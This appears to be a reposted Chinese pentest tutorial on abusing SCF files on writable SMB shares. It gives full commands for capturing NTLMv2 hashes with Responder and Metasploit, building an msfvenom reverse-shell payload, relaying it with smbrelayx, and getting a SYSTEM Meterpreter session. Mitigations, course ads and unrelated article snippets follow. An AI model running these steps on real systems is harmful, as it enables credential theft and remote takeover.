利用SCF文件构建网络渗透

SMB是一种广泛用于企业组织中文件共享目的的网络协议。在内部的渗透测试中,发现包含明文密码和数据库连接字符串等敏感信息的共享文件并不罕见。但是,即使一个文件共享不包含任何可用于连接到其他系统的数据,但是未经身份验证的用户配置拥有该文件的写入权限,那么在这种情况下,攻击者也可以获得域用户的密码哈希值或Meterpreter shell。

收集哈希

SCF(Shell命令文件)文件可用于执行一组有限的操作,例如显示Windows桌面或打开Windows资源管理器,这并不是什么新鲜事。然而,一个SCF文件可以用来访问一个特定的UNC路径,允许渗透测试人员构建攻击。下面的代码可以被放置在一个文本文件,然后需要被植入到网络共享。

[Shell]
Command=2
IconFile=\\X.X.X.X\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop

SCF文件的内容

将pentestlab.txt文件保存为SCF文件,并且要使该文件在用户浏览文件时执行。在文件名前面添加@符号可以将pentestlab.scf放在共享驱动器文件列表的顶部。

SCF文件

Responder需要使用以下参数执行来捕获浏览共享的用户的哈希值。

responder -wrf --lm -v -I eth0

 

Responder – SCF的参数

当用户浏览共享时,将自动会从系统建立网络连接,连接到包含在SCF文件内的UNC路径。Windows将尝试使用用户名和密码对该共享进行身份验证。在验证过程中,随机的8字节质询密钥会从服务器发送到客户端,散列后的NTLM / LANMAN密码再次使用这个质询密钥进行加密。Responder将捕获NTLMv2哈希。

Responder -通过SCF抓取到的NTLMv2哈希

除了Responder,Metasploit Framework也有一个模块,可以用来捕获来自SMB客户端的挑战 – 响应密码哈希。

auxiliary/server/capture/smb

 

Metasploit – 捕获SMB的模块

和之前一样,用户在浏览相同的共享时,他的密码哈希将被Metasploit捕获。

Metasploit -捕获NTLMv2

如果公司内部的密码策略足够低,攻击者可能只需要几天或几个星期就能破解捕获到的密码散列。

Meterpreter Shell

上面的技术的主要优点是它不需要与用户有任何交互,并自动强制用户连接到共享,在这个过程中不存在NTLMv2哈希的协商过程。因此,也可以将此技术与SMB中继相结合,SMB中继将提供有效载荷,可以从访问该共享的每个用户检索Meterpreter Shell。

MSFVenom可用于生成将在目标上执行的有效载荷:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.171 LPORT=5555 -f exe > pentestlab.exe

MSFVenom – 为SMB中继生成的payload

Coresecurity已经发布了一个名为Impacket的Python脚本,可以对SMB等Windows协议执行各种攻击。使用smbrelayx 这个python脚本可以设置中继攻击并在当目标主机尝试连接SMB服务器时提供有效载荷。这将自动执行,因为SCF文件将强制每个用户使用他们自己的凭据连接到一个不存在的共享。

./smbrelayx.py -h Target-IP -e ./pentestlab.exe

Impacket – SMB中继服务器

Metasploit框架需要使用并在目标上执行pentestlab.exe时接收连接。

exploit/multi/handler

模块需要配置与生成的有效载荷相同的参数。

set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.171
set LPORT 5555
exploit

Metasploit – 多处理程序模块

当用户浏览共享时,SMB服务器将接收到连接,并且将使用用户名和密码散列来与他的系统进行认证,并将有效载荷执行为可写共享。

Impacket – SMB中继攻击

Meterpreter将收到一个会话。但是为了避免丢失连接,有必要迁移到更稳定的进程。

SMB共享中的另类攻击——SCF文件

Meterpreter – 列出正在运行的进程

需要使用迁移命令和进程标识。

Meterpreter – 进程迁移

在这个例子中,进程1600对应于以SYSTEM权限运行的svchost.exe进程。

Meterpreter – 迁移进程列表

从Meterpreter控制台运行getuid将获得当前的UID,现在是SYSTEM。

SMB共享中的另类攻击——SCF文件

Meterpreter – 检索当前的UID

Metasploit框架也可以实现同样的攻击。

exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.171
exploit

SMB共享中的另类攻击——SCF文件

Metasploit – SMB中继模块

SMB服务器将建立一个通过使用用户名和密码哈希来验证目标的连接,在一个可写共享上传递一个有效载荷,以用户权限执行作为一个服务的有效载荷,执行清理并返回一个Meterpreter会话。

SMB共享中的另类攻击——SCF文件

Metasploit – SMB中继攻击

可以使用sessions命令与现有会话执行交互。

SMB共享中的另类攻击——SCF文件

Metasploit – SMB中继会话

结论

这个技术利用了像共享这样的所有网络中很常见的东西,以便检索密码散列并获取meterpreter shell。唯一的要求是用户需要浏览包含恶意SCF文件的共享。但是,通过执行以下操作可以防止这些攻击:

· 使用Kerberos身份验证和SMB签名

· 不允许未经身份验证的用户在文件共享中拥有写入权限

· 确保使用NTLMv2密码哈希代替LanMan

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/59525.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

陀螺仪BMI323驱动开发测试(基于HAL库SPI通信)

参考资料 编写代码 读取芯片ID void BMI160_Init(void) {uint16_t chipID BMI323_read(BMI160_REG_CHIP_ID);debug("BMI323芯片ID为0x%x;", chipID);if (chipID ! 0x43){debug("未检测到BMI323;");}elsedebug("检测到陀螺仪BMI323;");u8 buf_…

基于vue框架的的流浪宠物救助系统25128(程序+源码+数据库+调试部署+开发环境)系统界面在最后面。

系统程序文件列表 项目功能:用户,宠物类别,领养中心,领养申请,云投喂,申请入驻,义工入驻 开题报告内容 基于Vue框架的流浪宠物救助系统开题报告 一、项目背景 近年来,随着城市化进程的加速,流浪动物问题日益凸显。它们面临着食物短缺、疾…

Python | Leetcode Python题解之第541题反转字符串II

题目: 题解: class Solution:def reverseStr(self, s: str, k: int) -> str:t list(s)for i in range(0, len(t), 2 * k):t[i: i k] reversed(t[i: i k])return "".join(t)

机器学习2_支持向量机_线性可分——MOOC

目录 定义 线性可分(Linear Separable) 线性不可分(Nonlinear Separable) 数学化定义 问题描述 优化问题 线性可分定义 假定训练样本集是线性可分的 1、最小化(Minimize): 2、限制条件…

Java基础-Java中的常用类(上)

(创作不易,感谢有你,你的支持,就是我前行的最大动力,如果看完对你有帮助,请留下您的足迹) 目录 String类 创建字符串 字符串长度 连接字符串 创建格式化字符串 String 方法 System类 常用方法 方…

基于TRIZ理论的便携式光伏手机充电装置创新

随着智能手机功能的日益强大,电量消耗问题也日益凸显,尤其是在户外活动时,电量告急常常让人措手不及。面对这一挑战,基于TRIZ(发明问题解决理论)的创新思维,一款全新的便携式光伏手机充电装置应…

Django目录结构最佳实践

Django项目目录结构 项目目录结构配置文件引用修改创建自定义子应用方法修改自定义注册目录从apps目录开始 项目目录结构 └── backend # 后端项目目录(项目名称)├── __init__.py├── logs # 项目日志目录├── manage.py #…

《今日制造与升级》是什么级别的期刊?是正规期刊吗?能评职称吗?

​问题解答 问:《今日制造与升级》是不是核心期刊? 答:不是,是知网收录的正规学术期刊。 问:《今日制造与升级》级别? 答:国家级。主管单位:中国机械工业联合会 …

WPF中如何简单的使用CommunityToolkit.Mvvm创建一个项目并进行 增删改查

目录 开始前准备的数据库dbblog如下: 第一步:创建项目后下载四个NuGet程序包 第二步:删除原本的MainWindow.XAML文件 并创建如下的目录结构 然后在View文件夹下面创建Login.XAML和Main.XAML 并且在App.XAML中将启动项改为Login.X…

人工智能技术:未来生活的“魔法师”

想象一下,未来的某一天,你醒来时,智能助手已经为你准备好了早餐,你的智能家居系统根据你的心情和日程安排调整了室内的光线和音乐,而你的自动驾驶汽车已经在门口等你。这不是科幻小说,这是人工智能技术为我…

排序(用java实现)

排序 排序的概念及引用排序的概念常见的排序算法 常见排序算法的实现插入排序基本思想:直接插入排序希尔排序(缩小增量排序) 选择排序基本思想:直接选择排序堆排序 交换排序冒泡排序快速排序快速排序的优化快速排序非递归 归并排序基本思想归并排序归并排…

(C++回溯算法)微信小程序“开局托儿所”游戏

问题描述 给定一个矩阵 A ( a i j ) m n \bm A(a_{ij})_{m\times n} A(aij​)mn​,其中 a i j ∈ { 1 , 2 , ⋯ , 9 } a_{ij}\in\{1,2,\cdots,9\} aij​∈{1,2,⋯,9},且满足 ∑ i 1 m ∑ j 1 n a i j \sum\limits_{i1}^m\sum\limits_{j1}^na_{ij} i…

数字IC后端实现之Innovus Place跑完density爆涨案例分析

下图所示为咱们社区a7core后端训练营学员的floorplan。 数字IC后端实现 | Innovus各个阶段常用命令汇总 该学员跑placement前density是59.467%,但跑完place后density飙升到87.68%。 仔细查看place过程中的log就可以发现Density一路飙升! 数字IC后端物…

聊一聊Elasticsearch的索引的分片分配机制

1、什么是分片分配 分片分配是由ES主节点将索引分片移动到ES集群中各个节点上的过程。 该过程尽量保证,同一个索引的分片尽量分配到更多的节点上,以此来达到读写索引的时候可以利用更多硬件资源的效果。 在分配过程当中,也不能将某个主分片…

最详细【Elasticsearch】Elasticsearch Java API + Spring Boot集成 实战入门(基础篇)

Elasticsearch Java API Spring Boot集成 实战入门(基础篇) 一、初始Elasticseach1、什么是Elasticseach2、Elasticsearch生态2、Elasticsearch结构3、Elasticsearch核心概念4、Elasticsearch 实现全文检索的原理 二、Elasticsearch入门1、入门-环境安装…

文件操作:Xml转Excel

1 添加依赖 Spire.Xls.jar <dependency><groupId>e-iceblue</groupId><artifactId>spire.xls</artifactId><version>5.3.3</version></dependency>2 代码使用 package cctd.controller;import com.spire.xls.FileFormat; im…

物理验证Calibre LVS Debug案例之通过deleteEmptyModule解决LVS问题

上周帮助T12nm A55训练营学员debug一个Calibre LVS问题&#xff0c;小编觉得挺好的一个问题。这个问题之前没有遇到过&#xff0c;今天分享给大家。 数字IC后端先进工艺设计实现之TSMC 12nm 6Track工艺数字IC后端实现重点难点盘点 下图所示为Calibre LVS的报告。从报告中看到…

深度解析阿里的Sentinel

1、前言 这是《Spring Cloud 进阶》专栏的第五篇文章&#xff0c;这篇文章介绍一下阿里开源的流量防卫兵Sentinel&#xff0c;一款非常优秀的开源项目&#xff0c;经过近10年的双十一的考验&#xff0c;非常成熟的一款产品。 文章目录如下&#xff1a; 2、什么是sentinel&…

ReactPress系列—Next.js 的动态路由使用介绍

ReactPress Github项目地址&#xff1a;https://github.com/fecommunity/reactpress 欢迎提出宝贵的建议&#xff0c;感谢Star。 Next.js 的动态路由使用介绍 Next.js 是一个流行的 React 框架&#xff0c;支持服务端渲染、静态站点生成和动态路由等功能&#xff0c;极大地简化…

软件压力测试有多重要?北京软件测试公司有哪些?

软件压力测试是一种基本的质量保证行为&#xff0c;它是每个重要软件测试工作的一部分。压力测试是给软件不断加压&#xff0c;强制其在极限的情况下运行&#xff0c;观察它可以运行到何种程度&#xff0c;从而发现性能缺陷。 在数字化时代&#xff0c;用户对软件性能的要求越…